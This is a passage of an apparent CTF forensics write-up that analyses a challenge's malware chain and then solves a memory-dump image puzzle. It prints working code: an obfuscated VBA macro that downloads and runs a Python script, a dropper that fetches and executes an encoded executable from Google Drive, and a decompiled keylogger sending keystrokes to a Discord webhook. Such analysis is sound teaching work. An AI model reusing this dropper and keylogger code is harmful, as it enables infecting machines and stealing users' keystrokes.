26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _
    ByVal b1BbQ As LongPtr, _
    ByVal c1CcQ As String, _
    ByVal d1DdQ As String, _
    ByVal e1EeQ As Long, _
    ByVal f1FfQ As LongPtr) As Long

Public Function b1BbR(c1CcR As String) As String
    Dim d1DdR As Integer
    Dim e1EeR As Integer
    Dim f1FfR As String

    If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function

    d1DdR = Len(c1CcR)

    For e1EeR = 1 To Len(c1CcR)
        If e1EeR Mod 2 <> 0 Then
            f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2)))
        End If
    Next

    b1BbR = f1FfR
End Function

Sub c1CcS()
    Dim d1DdS As String
    Dim e1EeS As String
    Dim f1FfS As String
    Dim g1GgS As String
    Dim h1HhS As Long
    Dim username As String

    username = Environ("USERNAME")
    d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"

    e1EeS = j2JjS(d1DdS)

    f1FfS = b1BbR(e1EeS)

    g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py"

    h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)

    If h1HhS = 0 Then
        MsgBox "File downloaded successfully.", vbInformation
        ' Run the Python script
        RunPython
    Else
        MsgBox "Failed to download file.", vbExclamation
    End If
End Sub

Function j2JjS(k2KkS As String) As String
    Dim l2LlS As String
    Dim m2MmS As Integer
    For m2MmS = 1 To Len(k2KkS)
        Select Case Asc(Mid(k2KkS, m2MmS, 1))
            Case 65 To 77, 97 To 109
                l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)
            Case 78 To 90, 110 To 122
                l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)
            Case Else
                l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1)
        End Select
    Next m2MmS
    j2JjS = l2LlS
End Function

Sub RunPython()
    Dim PythonExe As String
    Dim PythonScript As String
    Dim Command As String
    Dim username As String

    username = Environ("USERNAME")

    PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe"
    PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py"
    Command = PythonExe & " " & PythonScript

    Shell Command, vbNormalFocus
End Sub

It also seems that the remote server URL was encoded in hex and ROT13. Decoding it, we can proceed to the next step which was to analyze the Python script stored in the Google Drive.

spy1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os
import requests

def download_file_from_google_drive(file_id, destination):
    URL = "https://docs.google.com/uc?export=download"

    session = requests.Session()

    response = session.get(URL, params={'id': file_id}, stream=True)
    token = get_confirm_token(response)

    if token:
        params = {'id': file_id, 'confirm': token}
        response = session.get(URL, params=params, stream=True)

    save_response_content(response, destination)

def get_confirm_token(response):
    for key, value in response.cookies.items():
        if key.startswith('download_warning'):
            return value
    return None

def save_response_content(response, destination):
    CHUNK_SIZE = 32768

    with open(destination, "wb") as f:
        for chunk in response.iter_content(CHUNK_SIZE):
            if chunk:
                f.write(chunk)

def hex_to_binary(hex_str):
    return bytes.fromhex(hex_str)

def save_binary_to_file(binary_data, file_path):
    with open(file_path, 'wb') as file:
        file.write(binary_data)

def reverse_hex_conversion(file_path, output_file):
    with open(file_path, 'r') as file:
        hex_content = file.read().strip()
    binary_data = hex_to_binary(hex_content)
    save_binary_to_file(binary_data, output_file)

def run_retrieved_file(file_path):
    os.system(file_path)

if __name__ == "__main__":
    # Download the file and save it as file_hex.txt
    file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
    input_file = "file_hex.txt"
    download_file_from_google_drive(file_id, input_file)
    
    # Convert hex to binary and save it as L3AK.exe
    output_file = "L3AK.exe"  
    reverse_hex_conversion(input_file, output_file)
    
    # Execute the retrieved file
    run_retrieved_file(output_file)
    
    print("File retrieved and executed as L3AK.exe")

The Python script seems to download another hex encoded file from Google Drive using the id 1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0. So by editing the URL to the file id, the hex encoded file can be obtained.

spy2

Downloading and decoding it shows that it was a malicious executable.

spy3

Analyzing the malware on VirusTotal, it shows that the malware was packed with PyInstaller. So by using pyinstxtractor, the malware can be unpacked.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\warlocksmurf\Desktop\pyinstxtractor-master> python .\pyinstxtractor.py 'C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\L3AK.exe'
[+] Processing C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\L3AK.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Length of package: 14651528 bytes
[+] Found 107 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: keylogger.pyc
[+] Found 475 files in PYZ archive
[+] Successfully extracted pyinstaller archive: C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\L3AK.exe

You can now use a python decompiler on the pyc files within the extracted directory

Analyzing the malware files, a keylogger.pyc can be found. However, the file could not be decompiled.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ sudo uncompyle6 keylogger.pyc
Traceback (most recent call last):
  File "/usr/local/lib/python2.7/dist-packages/xdis/load.py", line 313, in load_module_from_file_object
    co = xdis.unmarshal.load_code(fp, magic_int, code_objects)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 626, in load_code
    return um_gen.load()
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 171, in load
    return self.r_object()
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
    return unmarshal_func(save_ref, bytes_for_s)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 515, in t_code
    co_consts = self.r_object(bytes_for_s=False)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
    return unmarshal_func(save_ref, bytes_for_s)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 377, in t_small_tuple
    ret += (self.r_object(bytes_for_s=bytes_for_s),)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
    return unmarshal_func(save_ref, bytes_for_s)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 515, in t_code
    co_consts = self.r_object(bytes_for_s=False)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
    return unmarshal_func(save_ref, bytes_for_s)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 377, in t_small_tuple
    ret += (self.r_object(bytes_for_s=bytes_for_s),)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
    return unmarshal_func(save_ref, bytes_for_s)
  File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 532, in t_code
    if kind & CO_FAST_LOCAL:
TypeError: unsupported operand type(s) for &: 'str' and 'int'
Ill-formed bytecode file keylogger.pyc
<type 'exceptions.TypeError'>; unsupported operand type(s) for &: 'str' and 'int'

So I strings the file and found a suspicious Discord webhook URL.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ strings keylogger.pyc        
d       k(
Listener
Key)
Timer)
Webhookzyhttps://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl
z(aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM=c
        Keyloggerc
[BACKSPACE]z
[ESC])
WB_URL
interval
logr
space
enter
        backspace
special_keys
current_keys)
selfr

---SNIP---

Below the URL seems to be a base64 encoded string. Decoding it provides a Discord server invite link. The flag is located in the server. PS: One of the best forensics challenge I’ve done this year imo

1
2
└─$ echo "aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM=" | base64 -d
https://discord.gg/pswTtUnpJC

Edit: The decompiler pycdc can help decompile the pyc file properly.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
└─$ ./pycdc ~/Desktop/sharedfolder/L3akCTF/The\ Spy/L3AK.exe_extracted/keylogger.pyc
# Source Generated with Decompyle++
# File: keylogger.pyc (Python 3.12)

from pynput.keyboard import Listener, Key
from threading import Timer
from dhooks import Webhook
WEBHOOK_URL = 'https://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl'
INTERVAL = 30
hjlkhas = 'aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM='

class Keylogger:
    
    def __init__(self, WB_URL, interval = (30,)):
        self.WB_URL = WB_URL
        self.interval = interval
        self.log = ''
        self.special_keys = {
            Key.esc: '[ESC]',
            Key.backspace: '[BACKSPACE]',
            Key.tab: '\t',
            Key.enter: '\n',
            Key.space: ' ' }
        self.current_keys = set()

    
    def _send_info(self, log):
        if log != '':
            webhook = Webhook(self.WB_URL)
            webhook.send(log)
            return None

    
    def _key_down(self, key):
Unsupported opcode: COPY
        pass
    # WARNING: Decompyle incomplete

    
    def _key_up(self, key):
        if key in self.current_keys:
            self.current_keys.remove(key)
            return None

    
    def _report(self):
        self._send_info(self.log)
        self.log = ''
        Timer(self.interval, self._report).start()

    
    def run(self):
Unsupported opcode: BEFORE_WITH
        self._report()
    # WARNING: Decompyle incomplete


if __name__ == '__main__':
    Keylogger(WEBHOOK_URL, INTERVAL).run()
    return None

Pixelated 🧃 [Forensics]

Question: awk ? grep ? sed ? always forget the order on those, well anyway have fun!

Flag: L3AK{p1x3l_p3rfect!}

We are given another memory dump to investigate. Analyzing the process tree, the MS paint process seems to be oddly running alone near the end of the list. However, after dumping the process, I had no idea what to do next. Thankfully, the author gave a small nudge to me mentioning that we actually had a discussion about this kind of challenge in another CTF previously. I was baffled and straight up remembered about the method of visualizing raw data. Here is a good reference about this whole method.

1
2
3
4
5
6
7
8
9
10
11
└─$ python3 vol.py -f ~/Desktop/sharedfolder/L3akCTF/Pixelated/memory.raw windows.pstree                                           
Volatility 3 Framework 2.7.0
Progress:  100.00               PDB scanning finished                        
PID     PPID    ImageFileName   Offset(V)       Threads Handles SessionId       Wow64   CreateTime      ExitTime        Audit   Cmd     Path

---SNIP---

*** 5580        4280    mspaint.exe     0xdb0861a2d080  5       -       1       False   2024-05-01 11:41:39.000000      N/A     \Device\HarddiskVolume1\Windows\System32\mspaint.exe    "C:\Windows\system32\mspaint.exe"        C:\Windows\system32\mspaint.exe
*** 6644        4280    VBoxTray.exe    0xdb08615b1080  11      -       1       False   2024-05-01 08:50:27.000000      N/A     \Device\HarddiskVolume1\Windows\System32\VBoxTray.exe   "C:\Windows\System32\VBoxTray.exe"       C:\Windows\System32\VBoxTray.exe
* 868   652     fontdrvhost.ex  0xdb086003b140  5       -       1       False   2024-05-01 08:50:09.000000      N/A     \Device\HarddiskVolume1\Windows\System32\fontdrvhost.exe        "fontdrvhost.exe"        C:\Windows\system32\fontdrvhost.exe
* 548   652     dwm.exe 0xdb086020c080  21      -       1       False   2024-05-01 08:50:09.000000      N/A     \Device\HarddiskVolume1\Windows\System32\dwm.exe        "dwm.exe"       C:\Windows\system32\dwm.exe

By dumping the process and renaming the extension from .dmp to .data, the process can actually be visualized on GIMP as long you have the right width and height (yes its basically trial and error). After several minutes, I managed to get a hit on a part of the MS paint process.

pixel1

After awhile, I noticed an easy way to determine where the flag might be. If you use RGB and look around the starting parts, random colorized pixels can be found when moving the offset. So you can go to any of the colorized pixels and set the appropriate width and height to obtain the flag in cleartext. pixel2

By using RGB565 Big Endian and width 1624, the flag can be obtained.

pixel3

Fun fact: I accidentally found a QR code that wasn’t even part of the challenge. Sorry @0x157 kekW!

pixel4

pixel5

Writeup Contest

PS: I won the writeup contest with a $25 prize.

L3akWU

This post is licensed under CC BY 4.0 by the author.